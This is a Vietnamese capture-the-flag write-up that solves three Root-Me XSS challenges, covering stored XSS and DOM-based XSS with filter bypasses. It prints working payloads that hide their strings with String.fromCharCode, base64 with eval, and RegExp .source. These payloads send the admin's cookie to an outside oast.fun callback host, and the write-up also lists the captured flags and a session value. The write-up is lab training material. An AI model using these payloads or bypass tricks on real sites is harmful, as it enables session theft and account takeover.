**Bài 1: XSS Stored- filter bypass**

Mục tiêu của bài này là lấy cookie của quản trị. (rất khó nha)

Có 2 input kẻ tấn công kiểm soát được là title, message.

Mình fuzz thử thì thấy title chỉ cho phép những kí tự có thể in được, chặn <,>,”,’,/,\

Còn message chỉ chặn một số thẻ như img, script,… nên có thể khai thác XSS được.

Đầu tiên, mình sẽ tìm cách alert()

Mình bruteforce những thẻ, thuộc tính cho phép thì thấy button, onfocus có thể dùng được.

Nó chặn 1 số hàm nguy hiểm như alert(), eval(), setTimeout() luôn.

Nhưng có rất nhiều cách để alert:

Vd: window['alert'](0)

Nó chặn dấu ‘,” thì các bạn có thể dùng String.fromCharCode()

Payload là: <button autofocus onfocus=window[String.fromCharCode(97,108,101,114,116)](0)>a</button>

Bước tiếp theo, mình sẽ chuyển hướng đến trang web khác:

Nó chặn document.location,cookie rồi

Mình sẽ dùng location.assign()

Payload: <button autofocus onfocus=location.assign(String.fromCharCode(104,116,116,112,58,47,47,99,101,54,112,104,110,101,50,118,116,99,48,48,48,48,52,115,112,113,48,103,56,100,109,101,52,119,121,121,121,121,121,98,46,111,97,115,116,46,102,117,110,47))>a</button>

Bạn tránh để payload quá dài nha vì nó sẽ không thực thi code được.

Vì document.cookie không dùng được nên mình xài document[’cookie’]

Payload cuối cùng là:

<button autofocus onfocus=location.assign(String.fromCharCode(104,116,116,112,58,47,47,99,101,54,112,104,110,101,50,118,116,99,48,48,48,48,52,115,112,113,48,103,56,100,109,101,52,119,121,121,121,121,121,98,46,111,97,115,116,46,102,117,110,47)+document[String.fromCharCode(99,111,111,107,105,101)])>a</button>

**http://ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun/**

Đợi 1 lúc, mình sẽ nhận được cookie của admin:

Flag: qa26f3ugb5tqv7o0mbvtv414u8

**Bài 2: XSS Dom based- filter bypass**

Mục tiêu của bài này là lấy cookie của quản trị.

Cũng giống mấy bài trước, lỗ hổng XSS nằm ở phần main.

Cùng tìm hiểu xem nó lọc những gì nào??

Nó chặn ",;,+ và cho phép /,.,(,),'

Payload: '-alert(1)-' 🡪 alert thành công

Nhưng khi redirect nó chặn http:// 🡪Are you trying a redirect?

Payload:

'-eval(atob('bG9jYXRpb24uYXNzaWduKCdodHRwOi8vY2U2cGhuZTJ2dGMwMDA

wNHNwcTBnOGRtZTR3eXl5eXliLm9hc3QuZnVuLz9jPScuY29uY2F0KGRvY3VtZW50LmNvb2tpZSkp'))-'

bG9jYXRpb24uYXNzaWduKCdodHRwOi8vY2U2cGhuZTJ2dGMwMDA

wNHNwcTBnOGRtZTR3eXl5eXliLm9hc3QuZnVuLz9jPScuY29uY2F0KGRvY3VtZW50LmNvb2tpZSkp

location.assign('http://ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun/?c='.concat(document.cookie))

Nhìn chung bài này khá dễ.

**flag=rootme{FilTERS\_ByPass\_DOm\_BASEd\_XSS}**

**Bài 3: XSS Dom Based**

Bài toán cho phép tiêm script trên nickname và color.

Màu có thể chứa 3 kí tự và nickname khoảng 80 kí tự.

Chuỗi location và các kí tự như (,), ",`, ',; bị chặn

Dữ liệu chúng ta kiểm soát trong Dom:

this.data={

"color": "",

"callbacks": {

"win": this.youwon,

"lose": this.youlost

},

"seed": ""

}

**Mở nhận xét ở trường thứ 1:**  "/\*

**Sử dụng trường thứ hai để chuyển hướng:**

Đóng nhận xét: \*/

Đóng thuộc tính đang mở: ,

callbacks: {

win:this.youwon,

lose:{

// chuyển hướng bằng window.location

d: window[

// sử dụng RegEx để bỏ qua lọc chuỗi

/loc/.source

// sử dụng thực thể HTML để bỏ qua bộ lọc toán tử nối

%2B

/ation/.source]=/http:\/\/ ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun/.source

}

}

//

this.data = {

"color": ""/\*",

"callbacks": {

"win": this.youwon,

"lose": this.youlost

},

"seed": "\*/,callbacks:{

win:this.youwon,

lose:{ d:window[/loc/.source+/ation/.source]=/http:\/\/ce6phne2vtc00004spq0g8dme4wyyyyyb.oas..fun/.source+document.cookie

}

}//"

};

Cuối cùng, gửi url sau qua email cho quản trị viên bạn sẽ nhận được flag

http://challenge01.root-me.org/web-client/ch24/

?nickname=\*/,callbacks:{win:this.youwon,lose:{d:window[/loc/.source%2b/ation/.source]=/http:\/\/ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun\//.source%2bdocument.cookie}}//&color="/\*&p=game

Bài toán bị lỗi nên rất khó lấy cookie của admin.

Bạn phải chặn trang contact: thay đổi nickname,color, message .

**ADMIN\_SESSION=17399da89ab0e75c57937d3ecf247b53c78edc69**

**The flag is W0w\_y0U\_1mpr3s5ed\_m3!**